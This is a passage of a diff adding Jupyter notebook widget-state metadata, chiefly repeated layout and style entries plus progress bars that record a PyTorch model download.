+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1d4dd1aae7c7452298706a60c84f901d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1dabddf490454df48032d8c05080fe95": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1edf085b64f24088bd70a6a6954c8156": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1f4f0aecfdfa423a8d219a7a9167b74c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "20052640edfa418fb52d9a6ed8d5e7c5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "20e7de8cc9e34728871e040e7fe9d80d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "20ec2d7af5444323acf5344e4f45a75e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "228cbb4147cb4fcdb21866278e8f218c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_92d4a3333635430a88cdc38ed8158f49",
+            "max": 592,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_f0bf68a25bf7446282f00c22d1093208",
+            "value": 592
+          }
+        },
+        "237b1e5d578841738596dc8d9fb12a23": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_877898b8398541e3b9909a3a372cad14",
+            "placeholder": "",
+            "style": "IPY_MODEL_d19511fe4049467a9e24bffc8b799027",
+            "value": " 141/141 [00:00<00:00, 10.0kB/s]"
+          }
+        },
+        "23ac198dda5d4390b1e0998e2553d04c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "27635f5481f1430f9e7ec0404f5c393b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8c5762e71db644cfac50336e5de12ec6",
+            "placeholder": "",
+            "style": "IPY_MODEL_2c5f5b6d6ca04df4b2fc874fdf0ca83c",
+            "value": " 4.56k/4.56k [00:00<00:00, 400kB/s]"
+          }
+        },
+        "2a334258549d49c7ab12ae3f07f69ea9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2b1ac03b7948452faa1282e9f41b8069": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ce9b5e9018ff4acfb9f59fcb04bdea22",
+            "max": 453,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_b6bd97ac6f79431596f1d2e76cf80cc1",
+            "value": 453
+          }
+        },
+        "2c1891a4c26042c08956982391039dfe": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2c5f5b6d6ca04df4b2fc874fdf0ca83c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2cb163ea221745cfb446ec9ddcbe622b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "2e904bced0c945498efee80e62acbe22": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7dc9b79e3ad74651ae3f6449a8b968f7",
+            "max": 2822,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_b68190a10e0b48678a9937693a2e0875",
+            "value": 2822
+          }
+        },
+        "3064bb59f3144fc6a373b1528290b57a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3080191d2d754416988b90ece2f76cb5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "30944ee9722c4e4da3b23a635a2e561f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c7af806e9fcf44dfa483f9aee21ab0ef",
+            "placeholder": "",
+            "style": "IPY_MODEL_743663756db94768a1a82d5bccac5538",
+            "value": "Downloading pytorch_model.bin: 100%"
+          }
+        },
+        "30c8f5bab4ac4beab39c0a282e6a3183": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "312d2d503a0f47278b47c03ddef6109f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6aedd062950c4596b734f7a98a9cce9c",
+            "placeholder": "",
+            "style": "IPY_MODEL_5a9aba83d9734e01902c5b9bcb534ac4",
+            "value": " 125/125 [00:00<00:00, 10.2kB/s]"
+          }
+        },
+        "35d468050abe416dbfe791ddf607ee6f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "366f53d87c6c4b0aa6fd3d167f01c5c3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "37dc882c932347788e668b941222f7a2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3a18c950c8da4cc2b7f3f79a9b91dea2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3af451b24c8a47c99941a0d3676db363": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3afb14ab061c459b9276116e0a6c9416": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3b40e3e3b6a94c3a8f5c94d328c7ff8e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3b88701571a342b0abea71a105fed88b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3b8edfee45ef459c8ae1fc8c9ac7cbc9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3bc21fd430c3426283585a874ec1ce94": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
